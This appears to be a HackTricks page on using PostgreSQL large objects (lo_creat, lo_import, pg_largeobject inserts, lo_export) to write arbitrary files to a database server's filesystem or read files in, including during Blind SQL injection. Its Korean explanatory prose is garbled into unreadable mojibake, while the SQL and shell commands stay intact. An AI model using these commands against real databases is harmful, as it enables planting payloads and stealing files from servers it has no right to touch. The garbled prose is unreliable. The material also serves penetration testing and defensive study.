Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

PostgreSQL ๋Œ€์šฉ๋Ÿ‰ ๊ฐ์ฒด

PostgreSQL๋Š” ๋Œ€์šฉ๋Ÿ‰ ๊ฐ์ฒด๋กœ ์•Œ๋ ค์ง„ ๊ตฌ์กฐ๋ฅผ ์ œ๊ณตํ•˜๋ฉฐ, ์ด๋Š” pg_largeobject ํ…Œ์ด๋ธ”์„ ํ†ตํ•ด ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ์œผ๋ฉฐ, ์ด๋ฏธ์ง€๋‚˜ PDF ๋ฌธ์„œ์™€ ๊ฐ™์€ ๋Œ€ํ˜• ๋ฐ์ดํ„ฐ ์œ ํ˜•์„ ์ €์žฅํ•˜๊ธฐ ์œ„ํ•ด ์„ค๊ณ„๋˜์—ˆ์Šต๋‹ˆ๋‹ค. ์ด ์ ‘๊ทผ ๋ฐฉ์‹์€ ๋ฐ์ดํ„ฐ๋ฅผ ํŒŒ์ผ ์‹œ์Šคํ…œ์œผ๋กœ ๋‹ค์‹œ ๋‚ด๋ณด๋‚ด๋Š” ๊ธฐ๋Šฅ์„ ์ œ๊ณตํ•˜๋ฏ€๋กœ COPY TO ํ•จ์ˆ˜๋ณด๋‹ค ์œ ๋ฆฌํ•˜๋ฉฐ, ์›๋ณธ ํŒŒ์ผ์˜ ์ •ํ™•ํ•œ ๋ณต์ œ๋ณธ์ด ์œ ์ง€๋ฉ๋‹ˆ๋‹ค.

์ด ํ…Œ์ด๋ธ” ๋‚ด์—์„œ ์ „์ฒด ํŒŒ์ผ์„ ์ €์žฅํ•˜๊ธฐ ์œ„ํ•ด pg_largeobject ํ…Œ์ด๋ธ”์— ๊ฐ์ฒด๋ฅผ ์ƒ์„ฑํ•ด์•ผ ํ•˜๋ฉฐ(LOID๋กœ ์‹๋ณ„๋จ), ๊ทธ ๋‹ค์Œ์— ๊ฐ 2KB ํฌ๊ธฐ์˜ ๋ฐ์ดํ„ฐ ์ฒญํฌ๋ฅผ ์ด ๊ฐ์ฒด์— ์‚ฝ์ž…ํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. ์ด๋Ÿฌํ•œ ์ฒญํฌ๋Š” ๋‚ด๋ณด๋‚ด๊ธฐ ๊ธฐ๋Šฅ์ด ์˜ฌ๋ฐ”๋ฅด๊ฒŒ ์ž‘๋™ํ•˜๋„๋ก ๋ณด์žฅํ•˜๊ธฐ ์œ„ํ•ด ์ •ํ™•ํžˆ 2KB ํฌ๊ธฐ์—ฌ์•ผ ํ•˜๋ฉฐ(๋งˆ์ง€๋ง‰ ์ฒญํฌ๋Š” ์˜ˆ์™ธ์ผ ์ˆ˜ ์žˆ์Œ) ์ค‘์š”ํ•ฉ๋‹ˆ๋‹ค.

์ด์ง„ ๋ฐ์ดํ„ฐ๋ฅผ 2KB ์ฒญํฌ๋กœ ๋‚˜๋ˆ„๊ธฐ ์œ„ํ•ด ๋‹ค์Œ ๋ช…๋ น์„ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

split -b 2048 your_file # Creates 2KB sized files

๊ฐ ํŒŒ์ผ์„ Base64 ๋˜๋Š” Hex๋กœ ์ธ์ฝ”๋”ฉํ•˜๊ธฐ ์œ„ํ•ด ์•„๋ž˜์˜ ๋ช…๋ น์–ด๋ฅผ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

base64 -w 0 <Chunk_file> # Encodes in Base64 in one line
xxd -ps -c 99999999999 <Chunk_file> # Encodes in Hex in one line

์ค‘์š”: ์ด ํ”„๋กœ์„ธ์Šค๋ฅผ ์ž๋™ํ™”ํ•  ๋•Œ, 2KB์˜ ์ผ๋ฐ˜ ํ…์ŠคํŠธ ๋ฐ”์ดํŠธ ์ฒญํฌ๋ฅผ ์ „์†กํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. Hex ์ธ์ฝ”๋”ฉ๋œ ํŒŒ์ผ์€ ํฌ๊ธฐ๊ฐ€ ๋‘ ๋ฐฐ๋กœ ์ฆ๊ฐ€ํ•˜๋ฏ€๋กœ ์ฒญํฌ๋‹น 4KB์˜ ๋ฐ์ดํ„ฐ๊ฐ€ ํ•„์š”ํ•˜๋ฉฐ, Base64 ์ธ์ฝ”๋”ฉ๋œ ํŒŒ์ผ์€ ceil(n / 3) * 4 ๊ณต์‹์„ ๋”ฐ๋ฆ…๋‹ˆ๋‹ค.

๋Œ€์šฉ๋Ÿ‰ ๊ฐ์ฒด์˜ ๋‚ด์šฉ์€ ๋””๋ฒ„๊น… ๋ชฉ์ ์œผ๋กœ ๋‹ค์Œ์„ ์‚ฌ์šฉํ•˜์—ฌ ๋ณผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

select loid, pageno, encode(data, 'escape') from pg_largeobject;

Using lo_creat & Base64

์ด์ง„ ๋ฐ์ดํ„ฐ๋ฅผ ์ €์žฅํ•˜๊ธฐ ์œ„ํ•ด, ๋จผ์ € LOID๊ฐ€ ์ƒ์„ฑ๋ฉ๋‹ˆ๋‹ค:

SELECT lo_creat(-1);       -- Creates a new, empty large object
SELECT lo_create(173454);  -- Attempts to create a large object with a specific OID

์ •ํ™•ํ•œ ์ œ์–ด๊ฐ€ ํ•„์š”ํ•œ ์ƒํ™ฉ, ์˜ˆ๋ฅผ ๋“ค์–ด Blind SQL Injection์„ ์•…์šฉํ•  ๋•Œ, lo_create๋Š” ๊ณ ์ • LOID๋ฅผ ์ง€์ •ํ•˜๋Š” ๋ฐ ์„ ํ˜ธ๋ฉ๋‹ˆ๋‹ค.

๋ฐ์ดํ„ฐ ์ฒญํฌ๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™์ด ์‚ฝ์ž…ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

INSERT INTO pg_largeobject (loid, pageno, data) VALUES (173454, 0, decode('<B64 chunk1>', 'base64'));
INSERT INTO pg_largeobject (loid, pageno, data) VALUES (173454, 1, decode('<B64 chunk2>', 'base64'));

์‚ฌ์šฉ ํ›„ ๋Œ€์šฉ๋Ÿ‰ ๊ฐ์ฒด๋ฅผ ๋‚ด๋ณด๋‚ด๊ณ  ์ž ์žฌ์ ์œผ๋กœ ์‚ญ์ œํ•˜๋ ค๋ฉด:

SELECT lo_export(173454, '/tmp/your_file');
SELECT lo_unlink(173454);  -- Deletes the specified large object

lo_import ๋ฐ Hex ์‚ฌ์šฉ

lo_import ํ•จ์ˆ˜๋Š” ๋Œ€ํ˜• ๊ฐ์ฒด์— ๋Œ€ํ•œ LOID๋ฅผ ์ƒ์„ฑํ•˜๊ณ  ์ง€์ •ํ•˜๋Š” ๋ฐ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

select lo_import('/path/to/file');
select lo_import('/path/to/file', 173454);

๊ฐ์ฒด ์ƒ์„ฑ ํ›„, ๊ฐ ํŽ˜์ด์ง€์— ๋ฐ์ดํ„ฐ๊ฐ€ ์‚ฝ์ž…๋˜๋ฉฐ, ๊ฐ ์ฒญํฌ๊ฐ€ 2KB๋ฅผ ์ดˆ๊ณผํ•˜์ง€ ์•Š๋„๋ก ๋ณด์žฅํ•ฉ๋‹ˆ๋‹ค:

update pg_largeobject set data=decode('<HEX>', 'hex') where loid=173454 and pageno=0;
update pg_largeobject set data=decode('<HEX>', 'hex') where loid=173454 and pageno=1;

ํ”„๋กœ์„ธ์Šค๋ฅผ ์™„๋ฃŒํ•˜๊ธฐ ์œ„ํ•ด ๋ฐ์ดํ„ฐ๊ฐ€ ๋‚ด๋ณด๋‚ด์ง€๊ณ  ๋Œ€์šฉ๋Ÿ‰ ๊ฐ์ฒด๊ฐ€ ์‚ญ์ œ๋ฉ๋‹ˆ๋‹ค:

select lo_export(173454, '/path/to/your_file');
select lo_unlink(173454);  -- Deletes the specified large object

์ œํ•œ ์‚ฌํ•ญ

๋Œ€ํ˜• ๊ฐ์ฒด๋Š” ACL(Access Control Lists)์„ ๊ฐ€์งˆ ์ˆ˜ ์žˆ์œผ๋ฉฐ, ์ด๋Š” ์‚ฌ์šฉ์ž๊ฐ€ ์ƒ์„ฑํ•œ ๊ฐ์ฒด์— ๋Œ€ํ•œ ์ ‘๊ทผ์„ ์ œํ•œํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๊ทธ๋Ÿฌ๋‚˜ ํ—ˆ์šฉ์ ์ธ ACL์„ ๊ฐ€์ง„ ์˜ค๋ž˜๋œ ๊ฐ์ฒด๋Š” ์—ฌ์ „ํžˆ ์ฝ˜ํ…์ธ  ์œ ์ถœ์„ ์œ„ํ•ด ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ